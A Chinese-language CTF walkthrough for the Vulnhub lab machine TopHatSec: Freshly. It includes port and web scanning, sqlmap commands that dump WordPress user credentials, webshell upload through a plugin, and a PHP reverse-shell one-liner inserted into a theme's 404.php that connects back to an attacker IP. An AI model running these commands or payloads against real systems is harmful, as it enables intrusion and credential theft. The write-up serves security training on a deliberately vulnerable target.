渗透测试 - CTF TopHatSec: Freshly- Vulnhub
字数 1463 2025-08-18 11:37:02
Vulnhub靶机渗透测试:TopHatSec: Freshly 详细教学文档
1. 靶机概述
- 名称: TopHatSec: Freshly
- 来源: Vulnhub
- 发布日期: 2018年2月
- 难度: 中等
- 目标: 通过网络渗透进入系统,找到隐藏的敏感文件中的秘密
- 运行环境: VirtualBox (注意:运行可能会提示错误,原解决链接已失效)
2. 环境准备
- 下载OVA文件并导入VirtualBox
- 配置网络模式为桥接或NAT(根据实际环境选择)
- 启动靶机虚拟机
3. 渗透测试流程
3.1 服务发现
端口扫描
使用nmap进行初始扫描:
nmap -sS -A -T4 <靶机IP>
预期发现开放端口:
- 80/tcp (HTTP)
- 443/tcp (HTTPS)
- 8080/tcp (HTTP - WordPress)
- 可能还有其他服务端口
操作系统识别
通过nmap的OS检测功能:
nmap -O <靶机IP>
3.2 Web服务枚举
80端口分析
-
访问http://<靶机IP>
-
使用dirb或gobuster进行目录扫描:
dirb http://<靶机IP>或
gobuster dir -u http://<靶机IP> -w /path/to/wordlist.txt -
关键发现:
- phpMyAdmin (/phpmyadmin)
- 登录页面 (/login.php)
8080端口分析
- 访问http://<靶机IP>:8080
- 确认是WordPress站点
- 使用wpscan进行扫描:
wpscan --url http://<靶机IP>:8080 --enumerate p,u,ap - 发现三个有安全问题的插件(但可能帮助不大)
3.3 SQL注入利用
- 对/login.php进行SQL注入测试:
sqlmap -u "http://<靶机IP>/login.php" --data="username=test&password=test" --level=5 --risk=3 - 确认存在SQL注入漏洞后,获取数据库信息:
sqlmap -u "http://<靶机IP>/login.php" --data="username=test&password=test" --dbs - 查看WordPress8080数据库:
sqlmap -u "http://<靶机IP>/login.php" --data="username=test&password=test" -D wordpress8080 --tables - 获取WordPress用户凭据:
sqlmap -u "http://<靶机IP>/login.php" --data="username=test&password=test" -D wordpress8080 -T wp_users --dump
3.4 WordPress后台利用
- 使用获取的凭据登录WordPress后台(http://<靶机IP>:8080/wp-admin)
- 修改语言为中文(可选)
- 获取shell的两种方法:
方法一:通过插件上传
- 准备一个包含webshell的zip文件(格式必须正确)
- 在WordPress后台添加新插件并上传
- 激活插件后访问webshell
方法二:直接编辑主题文件
- 进入"外观"->"编辑"
- 选择404.php模板
- 插入以下PHP反向shell代码:
<?php $sock=fsockopen("<攻击者IP>",<监听端口>); exec("/bin/sh -i <&3 >&3 2>&3"); ?> - 保存更改
3.5 获取反向shell
- 在攻击机上设置netcat监听:
nc -lvnp <监听端口> - 访问触发404页面的URL(如http://<靶机IP>:8080/?p=non-existent-page)
- 检查netcat会话,确认获得shell
3.6 权限提升
- 查看/etc/passwd文件:
cat /etc/passwd - 检查当前用户权限:
id whoami sudo -l - 根据发现的信息进行权限提升(具体方法取决于系统配置)
3.7 寻找flag
- 搜索敏感文件:
find / -name "*secret*" -type f 2>/dev/null find / -name "*flag*" -type f 2>/dev/null - 检查隐藏目录和文件
- 检查数据库中的敏感表
- 检查用户主目录
4. 关键点总结
- 信息收集:全面的端口扫描和Web目录枚举是成功的关键
- SQL注入:通过sqlmap有效利用SQL注入漏洞获取数据库信息
- WordPress利用:熟悉WordPress的两种getshell方法(插件上传和主题编辑)
- 反向shell:正确设置和触发反向shell连接
- 权限提升:根据系统配置选择合适的提权方法
- flag查找:系统性地搜索所有可能的敏感文件位置
5. 注意事项
- VirtualBox运行此靶机可能会报错,需要根据实际情况解决
- 渗透测试应在授权环境下进行
- 实际环境中路径和文件名可能有所不同,需要灵活调整
- 某些步骤可能需要多次尝试才能成功
6. 验证与提交
找到秘密后,按照说明通过电子邮件进行验证(虽然原链接可能已失效,但这是CTF的标准流程)。